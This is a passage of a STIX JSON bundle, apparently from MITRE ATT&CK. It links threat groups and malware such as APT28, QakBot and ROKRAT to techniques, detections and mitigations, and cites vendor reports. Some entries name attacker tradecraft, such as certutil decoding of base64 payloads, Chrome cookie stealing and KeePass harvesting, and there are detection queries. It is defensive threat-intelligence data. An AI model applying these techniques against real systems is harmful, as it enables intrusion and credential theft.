            "source_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5",
            "target_ref": "attack-pattern--c898c4b5-bf36-4e6e-a4ad-5b8c4c13e35b",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--8ff5abd9-8bbe-4fab-8001-23b2973c0764",
            "created": "2025-03-15T14:34:15.706Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Cisco LotusBlossom 2025",
                    "description": "Joey Chen, Cisco Talos. (2025, February 27). Lotus Blossom espionage group targets multiple industries with different versions of Sagerunex and hacking tools. Retrieved March 15, 2025.",
                    "url": "https://blog.talosintelligence.com/lotus-blossom-espionage-group/"
                }
            ],
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            ],
            "modified": "2025-04-16T22:31:34.953Z",
            "description": "[Lotus Blossom](https://attack.mitre.org/groups/G0030) has used publicly-available tools such as a Python-based cookie stealer for Chrome browsers, [Impacket](https://attack.mitre.org/software/S0357), and the Venom proxy tool.(Citation: Cisco LotusBlossom 2025)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--88b7dbc2-32d3-4e31-af2f-3fc24e1582d7",
            "target_ref": "attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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                    "url": "https://web.archive.org/web/20220328121326/https://boho.or.kr/filedownload.do?attach_file_seq=2695&attach_file_id=EpF2695.pdf"
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                    "description": "Threat Hunter Team. (2023, April 20). Daggerfly: APT Actor Targets Telecoms Company in Africa. Retrieved July 25, 2024.",
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                    "description": "Hromcova, Z. and Burgher, A. (2023, December 14). OilRig\u2019s persistent attacks using cloud service-powered downloaders. Retrieved November 26, 2024.",
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            "description": "[ODAgent](https://attack.mitre.org/software/S1170) can identify the current working directory.(Citation: ESET OilRig Downloaders DEC 2023)",
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                    "description": "Sette, N. et al. (2020, June 4). Qakbot Malware Now Exfiltrating Emails for Sophisticated Thread Hijacking Attacks. Retrieved September 27, 2021.",
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                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"
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            "modified": "2025-04-28T15:59:41.772Z",
            "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used base64 encoding to hide command strings delivered from the C2.(Citation: TrendMicro Tropic Trooper May 2020)",
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            "external_references": [
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                    "source_name": "MoustachedBouncer ESET August 2023",
                    "description": "Faou, M. (2023, August 10). MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.",
                    "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"
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            "description": "[NightClub](https://attack.mitre.org/software/S1090) can use `GetForegroundWindow` to enumerate the active window.(Citation: MoustachedBouncer ESET August 2023)",
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            "description": "[QakBot](https://attack.mitre.org/software/S0650) can conduct brute force attacks to capture credentials.(Citation: Kroll Qakbot June 2020)(Citation: Crowdstrike Qakbot October 2020)(Citation: Kaspersky QakBot September 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--9206eef2-3336-4c6d-808c-e809bed9784e",
            "created": "2022-03-30T14:26:51.872Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:59:51.972Z",
            "description": "Monitor for API calls that may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--920874f2-f1e1-4981-9469-4ee45b6218a7",
            "created": "2025-02-03T19:43:32.591Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "CISA Leviathan 2024",
                    "description": "CISA et al. (2024, July 8). People\u2019s Republic of China (PRC) Ministry of State Security APT40 Tradecraft in Action. Retrieved February 3, 2025.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-190a"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:32:06.158Z",
            "description": "[Leviathan Australian Intrusions](https://attack.mitre.org/campaigns/C0049) was conducted by the [Leviathan](https://attack.mitre.org/groups/G0065) threat actor.(Citation: CISA Leviathan 2024)",
            "relationship_type": "attributed-to",
            "source_ref": "campaign--b66bc597-399c-4e4d-828a-1ed4a7f1fb15",
            "target_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--920bf6ed-ca97-4d30-8520-1af593872770",
            "created": "2025-03-24T22:26:15.979Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:32:06.399Z",
            "description": "Consider disabling unnecessary remote connection functionality, including both unapproved software installations and specific features built into supported applications.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--d4287702-e2f7-4946-bdfa-2c7f5aaa5032",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "spec_version": "2.1",
            "id": "relationship--920c3901-1897-4607-b7b1-8adbb4bda479",
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            "revoked": false,
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-16T22:32:06.603Z",
            "description": "Monitor M365 Audit logs for AlertTriggered operations with rule name \"Creation of forwarding/redirect rule.\" or for New-InboxRule operations against Exchange Workloads. Look for anomalous modification properties such as actor user ID. An example event can show the creation of an email forwarding rule for a victim user\n\nAnalytic 1 - Unauthorized email forwarding rule creation activities\n\nNote: To detect unauthorized email forwarding rule creation activities in M365 Audit logs.\n\n<code> `index=\"m365_audit_logs\" Operation=\"AlertTriggered\" RuleName=\"Creation of forwarding/redirect rule\"\n| stats count by Actor, TargetUser\n| where Actor!=\"expected_actor\" AND TargetUser!=\"expected_target_user\"</code>\n\nAnalytic 2 - Unauthorized email forwarding rule creation activities\n\n<code> `index=\"m365_audit_logs\" Operation=\"New-InboxRule\"\n| stats count by UserId, Parameters.ForwardTo\n| where UserId!=\"expected_user\" AND Parameters.ForwardTo!=\"expected_forwarding_address\"</code>",
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            "source_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f",
            "target_ref": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--921181fc-7296-4d9d-9209-86d2094bf0bd",
            "created": "2025-01-22T18:54:39.580Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "ESET OilRig Campaigns Sep 2023",
                    "description": "Hromcova, Z. and Burgher, A. (2023, September 21). OilRig\u2019s Outer Space and Juicy Mix: Same ol\u2019 rig, new drill pipes. Retrieved November 21, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:32:06.810Z",
            "description": "[Mango](https://attack.mitre.org/software/S1169) can use its HTTP C2 channel for exfiltration.(Citation: ESET OilRig Campaigns Sep 2023)",
            "relationship_type": "uses",
            "source_ref": "malware--c5ec3344-e156-4b41-accb-274362e5dae8",
            "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--9212f940-021e-49b1-b500-fa1dd76b7132",
            "created": "2020-06-30T00:39:39.847Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Sophos Ragnar May 2020",
                    "description": "SophosLabs. (2020, May 21). Ragnar Locker ransomware deploys virtual machine to dodge security. Retrieved June 29, 2020.",
                    "url": "https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:59:52.515Z",
            "description": "[Ragnar Locker](https://attack.mitre.org/software/S0481) has attempted to stop services associated with business applications and databases to release the lock on files used by these applications so they may be encrypted.(Citation: Sophos Ragnar May 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb",
            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--9212fc97-5ddd-4bec-a63b-892164dcb03f",
            "created": "2022-03-30T14:26:51.841Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:59:52.716Z",
            "description": "Monitor for newly constructed files in order to manipulate external outcomes or hide activity",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
            "target_ref": "attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--921b3245-0795-40cd-82e1-04f38bc42b14",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Talos ROKRAT",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html"
                },
                {
                    "source_name": "NCCGroup RokRat Nov 2018",
                    "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020.",
                    "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/"
                },
                {
                    "source_name": "Volexity InkySquid RokRAT August 2021",
                    "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021.",
                    "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
                },
                {
                    "source_name": "Malwarebytes RokRAT VBA January 2021",
                    "description": "Jazi, Hossein. (2021, January 6). Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat. Retrieved March 22, 2022.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2021/01/retrohunting-apt37-north-korean-apt-used-vba-self-decode-technique-to-inject-rokrat/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:59:52.899Z",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can retrieve additional malicious payloads from its C2 server.(Citation: Talos ROKRAT)(Citation: NCCGroup RokRat Nov 2018)(Citation: Volexity InkySquid RokRAT August 2021)(Citation: Malwarebytes RokRAT VBA January 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--921b9a4d-091a-442b-981a-0b34daa2ed6a",
            "created": "2020-03-30T19:36:27.927Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "FireEye FIN7 Aug 2018",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:59:53.083Z",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) has used port-protocol mismatches on ports such as 53, 80, 443, and 8080 during C2.(Citation: FireEye FIN7 Aug 2018)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--921c2a85-eab7-4cfc-9ac5-98a463262c17",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 Sofacy Feb 2018",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"
                },
                {
                    "source_name": "Palo Alto Sofacy 06-2018",
                    "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/"
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            ],
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            "modified": "2025-04-28T15:59:53.270Z",
            "description": "An [APT28](https://attack.mitre.org/groups/G0007) macro uses the command <code>certutil -decode</code> to decode contents of a .txt file storing the base64 encoded payload.(Citation: Unit 42 Sofacy Feb 2018)(Citation: Palo Alto Sofacy 06-2018)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
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            "id": "relationship--922037af-61f0-42d8-8b57-310b6b56ea5a",
            "created": "2020-01-30T14:24:35.581Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T15:59:53.461Z",
            "description": "Remove users from the local administrator group on systems.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
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            "id": "relationship--922af0dd-415c-4512-9fe2-710a954f4c80",
            "created": "2021-09-07T15:24:47.972Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Proofpoint Operation Transparent Tribe March 2016",
                    "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
                    "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-28T15:59:53.649Z",
            "description": "[Peppy](https://attack.mitre.org/software/S0643) can identify specific files for exfiltration.(Citation: Proofpoint Operation Transparent Tribe March 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--6c2550d5-a01a-4bbb-a004-6ead348ba623",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--922c214d-ad32-4490-bb3f-a4db73b718d5",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Scarlet Mimic Jan 2016",
                    "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/"
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            ],
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            ],
            "modified": "2025-04-28T15:59:53.831Z",
            "description": "[Psylo](https://attack.mitre.org/software/S0078) has commands to enumerate all storage devices and to find all files that start with a particular string.(Citation: Scarlet Mimic Jan 2016)",
            "relationship_type": "uses",
            "source_ref": "malware--dfb5fa9b-3051-4b97-8035-08f80aef945b",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--922cc16d-2242-477b-89db-1ba3d5176e12",
            "created": "2020-11-19T18:02:58.494Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CISA MAR SLOTHFULMEDIA October 2020",
                    "description": "DHS/CISA, Cyber National Mission Force. (2020, October 1). Malware Analysis Report (MAR) MAR-10303705-1.v1 \u2013 Remote Access Trojan: SLOTHFULMEDIA. Retrieved October 2, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-275a"
                }
            ],
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            ],
            "modified": "2025-04-28T15:59:54.021Z",
            "description": "[SLOTHFULMEDIA](https://attack.mitre.org/software/S0533) has the capability to stop processes and services.(Citation: CISA MAR SLOTHFULMEDIA October 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90",
            "target_ref": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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                    "description": "Miller-Osborn, J. and Grunzweig, J.. (2017, February 16). menuPass Returns with New Malware and New Attacks Against Japanese Academics and Organizations. Retrieved March 1, 2017.",
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                    "description": "Nakamura, Y.. (2017, February 17). ChChes - Malware that Communicates with C&C Servers Using Cookie Headers. Retrieved November 17, 2024.",
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                    "description": "Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020.",
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            "description": "[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to stop services on the infected host.(Citation: Carbon Black HotCroissant April 2020)",
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                    "description": "Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"
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                    "description": "Insikt Group. (2025, January 9). Chinese State-Sponsored RedDelta Targeted Taiwan, Mongolia, and Southeast Asia with Adapted PlugX Infection Chain. Retrieved January 14, 2025.",
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            "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) distributed malicious links in phishing emails leading to HTML files that would direct the victim to malicious MSC files if running Windows based on User Agent fingerprinting during [RedDelta Modified PlugX Infection Chain Operations](https://attack.mitre.org/campaigns/C0047).(Citation: Recorded Future RedDelta 2025)",
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            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has sent emails with URLs pointing to malicious documents.(Citation: Talos Cobalt Group July 2018)(Citation: Secureworks GOLD KINGSWOOD September 2018)",
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                    "url": "https://www.trendmicro.com/en_us/research/21/h/confucius-uses-pegasus-spyware-related-lures-to-target-pakistani.html"
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                    "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021.",
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                    "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.",
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            "description": "[RainyDay](https://attack.mitre.org/software/S0629) can use services to establish persistence.(Citation: Bitdefender Naikon April 2021)",
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                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
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            "description": "Monitor for changes made to the Office Test Registry key. Collect events related to Registry key modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)",
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            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has used quser.exe to identify existing RDP connections.(Citation: DFIR Report APT35 ProxyShell March 2022)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95e4e360-b867-48b4-a494-d9d148232b70",
            "created": "2020-03-29T17:17:31.597Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:00:38.054Z",
            "description": "Consider using application control to prevent execution of binaries that are susceptible to abuse and not required for a given system or network.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95e5fd0e-b9c1-4efa-b462-a922456401e6",
            "created": "2020-05-06T21:31:07.341Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ESET Okrum July 2019",
                    "description": "Hromcova, Z. (2019, July). OKRUM AND KETRICAN: AN OVERVIEW OF RECENT KE3CHANG GROUP ACTIVITY. Retrieved May 6, 2020.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2019/07/ESET_Okrum_and_Ketrican.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:00:38.241Z",
            "description": "[Okrum](https://attack.mitre.org/software/S0439) can identify proxy servers configured and used by the victim, and use it to make HTTP requests to C2 its server.(Citation: ESET Okrum July 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--4b6ec280-7bbb-48ff-ae59-b189520ebe83",
            "target_ref": "attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95e80511-d9ec-4001-8f49-37bc4ed71379",
            "created": "2021-10-11T18:29:51.341Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Kaspersky Ferocious Kitten Jun 2021",
                    "description": "GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021.",
                    "url": "https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:00:38.436Z",
            "description": "[MarkiRAT](https://attack.mitre.org/software/S0652) can gather information from the Keepass password manager.(Citation: Kaspersky Ferocious Kitten Jun 2021) ",
            "relationship_type": "uses",
            "source_ref": "malware--532c6004-b1e8-415b-9516-f7c14ba783b1",
            "target_ref": "attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95e83e36-ba44-4e8f-8afe-ff6622fd6f84",
            "created": "2023-04-10T16:43:01.816Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Bitdefender LuminousMoth July 2021",
                    "description": "Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.",
                    "url": "https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"
                },
                {
                    "source_name": "Kaspersky LuminousMoth July 2021",
                    "description": "Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.",
                    "url": "https://securelist.com/apt-luminousmoth/103332/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:33:12.395Z",
            "description": "[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malware that scans for files in the Documents, Desktop, and Download folders and in other drives.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--95ed1db5-c388-4b1b-9824-9703b248f798",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Talos Smoke Loader July 2018",
                    "description": "Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:00:38.749Z",
